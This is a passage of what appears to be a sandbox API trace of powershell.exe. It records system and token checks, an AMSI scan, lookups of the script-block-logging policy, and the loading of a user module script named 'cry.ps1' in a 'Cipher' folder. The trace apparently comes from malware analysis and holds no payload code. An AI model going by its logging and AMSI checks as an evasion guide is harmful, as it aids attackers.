ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0xb598)) returned 1 [0100.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af080) returned 1 [0100.313] WldpGetLockdownPolicy () returned 0x0 [0100.313] GetSystemInfo (in: lpSystemInfo=0x99af12c | out: lpSystemInfo=0x99af12c*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0100.313] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x99af0b8 | out: phkResult=0x99af0b8*=0x758) returned 0x0 [0100.313] RegQueryValueExW (in: hKey=0x758, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x99af0d4, lpData=0x0, lpcbData=0x99af0d0*=0x0 | out: lpType=0x99af0d4*=0x0, lpData=0x0, lpcbData=0x99af0d0*=0x0) returned 0x2 [0100.313] RegCloseKey (hKey=0x758) returned 0x0 [0100.313] CloseHandle (hObject=0x750) returned 1 [0100.316] CoCreateGuid (in: pguid=0x99af1bc | out: pguid=0x99af1bc*(Data1=0xdd598058, Data2=0x30ce, Data3=0x4ce3, Data4=([0]=0xa9, [1]=0x20, [2]=0x63, [3]=0x1b, [4]=0xe0, [5]=0x99, [6]=0x4c, [7]=0x54))) returned 0x0 [0100.316] GetCurrentProcess () returned 0xffffffff [0100.316] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x99af190 | out: TokenHandle=0x99af190*=0x750) returned 1 [0100.316] GetTokenInformation (in: TokenHandle=0x750, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x99af190 | out: TokenInformation=0x0, ReturnLength=0x99af190) returned 0 [0100.316] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x8dc91f0 [0100.316] GetTokenInformation (in: TokenHandle=0x750, TokenInformationClass=0x8, TokenInformation=0x8dc91f0, TokenInformationLength=0x4, ReturnLength=0x99af190 | out: TokenInformation=0x8dc91f0, ReturnLength=0x99af190) returned 1 [0100.316] LocalFree (hMem=0x8dc91f0) returned 0x0 [0100.316] DuplicateTokenEx (in: hExistingToken=0x750, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x99af198 | out: phNewToken=0x99af198*=0x758) returned 1 [0100.316] CheckTokenMembership (in: TokenHandle=0x758, SidToCheck=0x6ff4194*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x99af1a8 | out: IsMember=0x99af1a8) returned 1 [0100.317] CloseHandle (hObject=0x758) returned 1 [0100.436] GetCurrentProcessId () returned 0x51c [0100.436] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x51c) returned 0x758 [0100.436] EnumProcessModules (in: hProcess=0x758, lphModule=0x6ff465c, cb=0x100, lpcbNeeded=0x99af0f4 | out: lphModule=0x6ff465c, lpcbNeeded=0x99af0f4) returned 1 [0100.437] EnumProcessModules (in: hProcess=0x758, lphModule=0x6ff4768, cb=0x200, lpcbNeeded=0x99af0f4 | out: lphModule=0x6ff4768, lpcbNeeded=0x99af0f4) returned 1 [0100.439] GetModuleInformation (in: hProcess=0x758, hModule=0x40000, lpmodinfo=0x6ff49a8, cb=0xc | out: lpmodinfo=0x6ff49a8*(lpBaseOfDll=0x40000, SizeOfImage=0x75000, EntryPoint=0x49d30)) returned 1 [0100.439] CoTaskMemAlloc (cb=0x804) returned 0x8e354e8 [0100.439] GetModuleBaseNameW (in: hProcess=0x758, hModule=0x40000, lpBaseName=0x8e354e8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0100.439] CoTaskMemFree (pv=0x8e354e8) [0100.439] CoTaskMemAlloc (cb=0x804) returned 0x8e354e8 [0100.439] GetModuleFileNameExW (in: hProcess=0x758, hModule=0x40000, lpFilename=0x8e354e8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0100.439] CoTaskMemFree (pv=0x8e354e8) [0100.439] CloseHandle (hObject=0x758) returned 1 [0100.440] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x51c) returned 0x758 [0100.440] EnumProcessModules (in: hProcess=0x758, lphModule=0x6ff6b30, cb=0x100, lpcbNeeded=0x99af0f4 | out: lphModule=0x6ff6b30, lpcbNeeded=0x99af0f4) returned 1 [0100.441] EnumProcessModules (in: hProcess=0x758, lphModule=0x6ff6c3c, cb=0x200, lpcbNeeded=0x99af0f4 | out: lphModule=0x6ff6c3c, lpcbNeeded=0x99af0f4) returned 1 [0100.442] GetModuleInformation (in: hProcess=0x758, hModule=0x40000, lpmodinfo=0x6ff6e7c, cb=0xc | out: lpmodinfo=0x6ff6e7c*(lpBaseOfDll=0x40000, SizeOfImage=0x75000, EntryPoint=0x49d30)) returned 1 [0100.442] CoTaskMemAlloc (cb=0x804) returned 0x8e354e8 [0100.442] GetModuleBaseNameW (in: hProcess=0x758, hModule=0x40000, lpBaseName=0x8e354e8, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0100.442] CoTaskMemFree (pv=0x8e354e8) [0100.443] CoTaskMemAlloc (cb=0x804) returned 0x8e354e8 [0100.443] GetModuleFileNameExW (in: hProcess=0x758, hModule=0x40000, lpFilename=0x8e354e8, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0100.443] CoTaskMemFree (pv=0x8e354e8) [0100.443] CloseHandle (hObject=0x758) returned 1 [0100.443] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x99aec14, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0100.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99af074) returned 1 [0100.443] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x99af0f0 | out: lpFileInformation=0x99af0f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8dbc0e8, ftCreationTime.dwHighDateTime=0x1d0baff, ftLastAccessTime.dwLowDateTime=0xc8dbc0e8, ftLastAccessTime.dwHighDateTime=0x1d0baff, ftLastWriteTime.dwLowDateTime=0xc8dbc0e8, ftLastWriteTime.dwHighDateTime=0x1d0baff, nFileSizeHigh=0x0, nFileSizeLow=0x72000)) returned 1 [0100.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99af070) returned 1 [0100.443] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x99af164 | out: lpdwHandle=0x99af164) returned 0x73c [0100.443] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x73c, lpData=0x6ff90b8 | out: lpData=0x6ff90b8) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x99af138, puLen=0x99af134 | out: lplpBuffer=0x99af138*=0x6ff9450, puLen=0x99af134) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff9170, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff91c4, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff920c, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff9274, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff92b0, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff9334, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff937c, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x6ff93ec, puLen=0x99af0b4) returned 1 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x0, puLen=0x99af0b4) returned 0 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x0, puLen=0x99af0b4) returned 0 [0100.444] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x0, puLen=0x99af0b4) returned 0 [0100.445] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\SpecialBuild", lplpBuffer=0x99af0b8, puLen=0x99af0b4 | out: lplpBuffer=0x99af0b8*=0x0, puLen=0x99af0b4) returned 0 [0100.445] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x99af0ac, puLen=0x99af0a8 | out: lplpBuffer=0x99af0ac*=0x6ff9450, puLen=0x99af0a8) returned 1 [0100.445] VerLanguageNameW (in: wLang=0x409, szLang=0x99aee3c, cchLang=0x100 | out: szLang="English (United States)") returned 0x17 [0100.445] VerQueryValueW (in: pBlock=0x6ff90b8, lpSubBlock="\\", lplpBuffer=0x99af0bc, puLen=0x99af0b8 | out: lplpBuffer=0x99af0bc*=0x6ff90e0, puLen=0x99af0b8) returned 1 [0100.465] AmsiInitialize () returned 0x0 [0100.566] AmsiOpenSession () returned 0x0 [0100.567] AmsiScanString () returned 0x80070015 [0101.008] EtwEventRegister (in: ProviderId=0x6ffb404, EnableCallback=0x85e2846, CallbackContext=0x0, RegHandle=0x6ffb3e0 | out: RegHandle=0x6ffb3e0) returned 0x0 [0101.008] EtwEventSetInformation (RegHandle=0x8c7e588, InformationClass=0x63, EventInformation=0x2, InformationLength=0x6ffb3b0) returned 0x0 [0101.037] RoGetParameterizedTypeInstanceIID () returned 0x0 [0101.037] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0101.037] Ro::detail::SimpleMetaDataBuilder::SetParameterizedInterface () returned 0x0 [0101.048] WindowsCreateStringReference () returned 0x0 [0101.048] RoGetActivationFactory () returned 0x0 [0101.048] QueryInterface () returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0101.049] QueryInterface () returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::GetRuntimeClassName () returned 0x8000000e [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::AddRef () returned 0x4 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0101.049] Release () returned 0x4 [0101.049] CoGetContextToken (in: pToken=0x99adbb8 | out: pToken=0x99adbb8) returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x80004002 [0101.049] CoGetContextToken (in: pToken=0x99adec0 | out: pToken=0x99adec0) returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x4 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::Release () returned 0x3 [0101.049] WindowsDeleteString () returned 0x0 [0101.049] Release () returned 0x2 [0101.049] CoGetContextToken (in: pToken=0x99ae630 | out: pToken=0x99ae630) returned 0x0 [0101.049] CoGetContextToken (in: pToken=0x99ae590 | out: pToken=0x99ae590) returned 0x0 [0101.049] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::QueryInterface () returned 0x0 [0101.049] AddRef () returned 0x4 [0101.049] Release () returned 0x3 [0101.060] IIDFromString (in: lpsz="{410B7711-FF3B-477F-9C9A-D2EFDA302DC3}", lpiid=0x99adcc0 | out: lpiid=0x99adcc0) returned 0x0 [0101.061] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::add_TracingStatusChanged () returned 0x0 [0101.079] GenericStream::Write () returned 0x0 [0101.079] GenericStream::Write () returned 0x0 [0101.079] CoCreateGuid (in: pguid=0x7411c838 | out: pguid=0x7411c838*(Data1=0xb7d1c5c8, Data2=0x2484, Data3=0x457d, Data4=([0]=0xb9, [1]=0xf3, [2]=0xab, [3]=0x41, [4]=0x98, [5]=0x39, [6]=0x5c, [7]=0x3d))) returned 0x0 [0101.079] GenericStream::Write () returned 0x0 [0101.095] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0101.095] Microsoft::WRL::Details::RuntimeClass >,Microsoft::WRL::RuntimeClassFlags<1>,1,1,0>::AddRef () returned 0x3 [0101.095] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0101.095] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x0 [0101.095] Release () returned 0x3 [0101.095] CoGetContextToken (in: pToken=0x99ada90 | out: pToken=0x99ada90) returned 0x0 [0101.095] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::QueryInterface () returned 0x80004002 [0101.096] WindowsCreateString () returned 0x0 [0101.096] Microsoft::WRL::Details::RuntimeClass >,Microsoft::WRL::RuntimeClassFlags<1>,1,1,0>::AddRef () returned 0x4 [0101.096] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::Release () returned 0x3 [0101.097] Windows::Foundation::Diagnostics::TracingStatusChangedEventArgs::get_Enabled () returned 0x0 [0102.240] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aefe0, nSize=0xee | out: lpBuffer="\xf1ca\x73b5") returned 0x0 [0102.436] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99af300*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af300*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.436] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0102.436] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.551] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x99aecdc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0102.552] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99af300*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af300*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.552] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99af260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99af260*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.552] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99af2f0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae7f4, nSize=0xee | out: lpBuffer="㍿欤\x14\x01푀玮冔܂") returned 0x0 [0102.553] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae7f4, nSize=0xee | out: lpBuffer="\x337f\x6b24\x14\x01\xd440\x73ae\x5290\x702\xba00\x42f\x14\x01\x1230\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xf1f0\x7403\xffff\xffff\x726\x73af\x6e7\x73af\x1bc8\x7047") returned 0x0 [0102.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae7e0, nSize=0xee | out: lpBuffer="㌃欤\x14\x01푀玮巰܂က牺Ѷ") returned 0x0 [0102.691] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x99af10c | out: phkResult=0x99af10c*=0x0) returned 0x2 [0102.692] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging", ulOptions=0x0, samDesired=0x20019, phkResult=0x99af10c | out: phkResult=0x99af10c*=0x0) returned 0x2 [0102.693] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x99ae7a0, nSize=0xee | out: lpBuffer="\x30c3\x6b24\x14\x01\xd440\x73ae\x71cc\x702") returned 0x0 [0102.786] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aebd0, nSize=0xee | out: lpBuffer="\x35b0\x8c4\x05") returned 0x0 [0102.802] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aef84*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef84*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.803] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeee4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeee4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0102.803] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aef74*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0105.505] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x8e032c8 [0105.631] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x99aeb38, nSize=0xee | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x9e [0105.635] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae870, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x39 [0105.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeccc) returned 1 [0105.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99aed48 | out: lpFileInformation=0x99aed48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe01511ea, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe01511ea, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe01511ea, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0105.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aecc8) returned 1 [0105.636] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x99ae870, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0105.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeccc) returned 1 [0105.636] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99aed48 | out: lpFileInformation=0x99aed48*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2d00b5ca, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x2d03182d, ftLastAccessTime.dwHighDateTime=0x1d0bb00, ftLastWriteTime.dwLowDateTime=0x2d03182d, ftLastWriteTime.dwHighDateTime=0x1d0bb00, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0105.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aecc8) returned 1 [0105.638] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", nBufferLength=0x105, lpBuffer=0x99ae870, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpFilePart=0x0) returned 0x33 [0105.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeccc) returned 1 [0105.639] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules"), fInfoLevelId=0x0, lpFileInformation=0x99aed48 | out: lpFileInformation=0x99aed48*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x2dc43add, ftCreationTime.dwHighDateTime=0x1d0bb00, ftLastAccessTime.dwLowDateTime=0x69b7dbc2, ftLastAccessTime.dwHighDateTime=0x1d0bb12, ftLastWriteTime.dwLowDateTime=0x69b7dbc2, ftLastWriteTime.dwHighDateTime=0x1d0bb12, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0105.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aecc8) returned 1 [0105.640] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0105.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebf0) returned 1 [0105.640] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher"), fInfoLevelId=0x0, lpFileInformation=0x99aec6c | out: lpFileInformation=0x99aec6c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe01511ea, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0105.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebec) returned 1 [0105.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec6c) returned 1 [0105.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", nBufferLength=0x105, lpBuffer=0x99ae774, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher", lpFilePart=0x0) returned 0x40 [0105.641] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\", nBufferLength=0x105, 